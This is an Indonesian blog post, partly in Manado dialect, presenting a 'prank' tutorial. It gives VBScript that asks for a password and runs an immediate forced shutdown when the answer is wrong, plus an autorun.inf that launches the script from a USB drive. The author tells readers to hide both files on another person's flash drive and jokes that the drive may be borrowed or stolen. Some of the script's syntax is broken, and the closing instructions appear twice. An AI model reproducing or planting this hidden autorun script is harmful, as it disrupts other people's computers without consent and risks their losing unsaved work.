copy paste code ini :
on error goto 0
dim s,quest,sd,m,winpath,fs
set sd=createobject("Wscript.shell")
set fs=createobject("Scripting.FileSystemObject")
set winpath=fs.getspecialfolder(0)
set s=wscript.createobject("wscript.shell")
do while quest=""
quest=inputbox("Kase Maso Password, Kalo Ta Salah Ti ida Mo Cium Nana!!!"
if quest="" then
m=MsgBox("Apa ngana kase maso ini...!", 0+0+48,
end if
loop
if quest="Password" then
s.run "shutdown -a"
sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
else
s.run "shutdown -s -t 0"
end if
Dlm bentuk vbs di savenya gan, ingat pass nya taruh di "password"
buka Notepad lagi, untuk pengaturan flashdisknya..
copy paste script kode ini ke notepad.
[Autorun]
shellexecute=wscript.exe passwordlock.vbs
action=Pesan
Anda dapat merubah kata "Pesan" sesuai kata-kata sendiri.
setelah itu lakukan penyimpanan seperti file yang pertama, tetapi pada bagian File name tulislah "autorun.inf" tanpa tanda kutip, sebelum di save as pastikan pilih all files.
Kemudian pindahkan kedua file yang telah anda buat tadi (autorun.inf dan vbs) ke dalam flashdisk org lain terserah mu pinjam boleh nyuri juga boleh.
Hidden autorun.inf dan vbs nya,
klik kanan autorun.inf dan .vbs lalu properties centang kotak hidden. klik .
Vbs yang harus di inget passnya terserah vbs mau di namain apa yg pasti vbs ujung nye
Just Share, Sorry Klo agak jahil
setelah itu lakukan penyimpanan seperti file yang pertama, tetapi pada bagian File name tulislah "autorun.inf" tanpa tanda kutip, sebelum di save as pastikan pilih all files.
Kemudian pindahkan kedua file yang telah anda buat tadi (autorun.inf dan vbs) ke dalam flashdisk org lain terserah mu pinjam boleh nyuri juga boleh.
Hidden autorun.inf dan vbs nya,
klik kanan autorun.inf dan .vbs lalu properties centang kotak hidden. klik .
Vbs yang harus di inget passnya terserah vbs mau di namain apa yg pasti vbs ujung nye
Just Share, Sorry Klo agak jahil
0 komentar:
Posting Komentar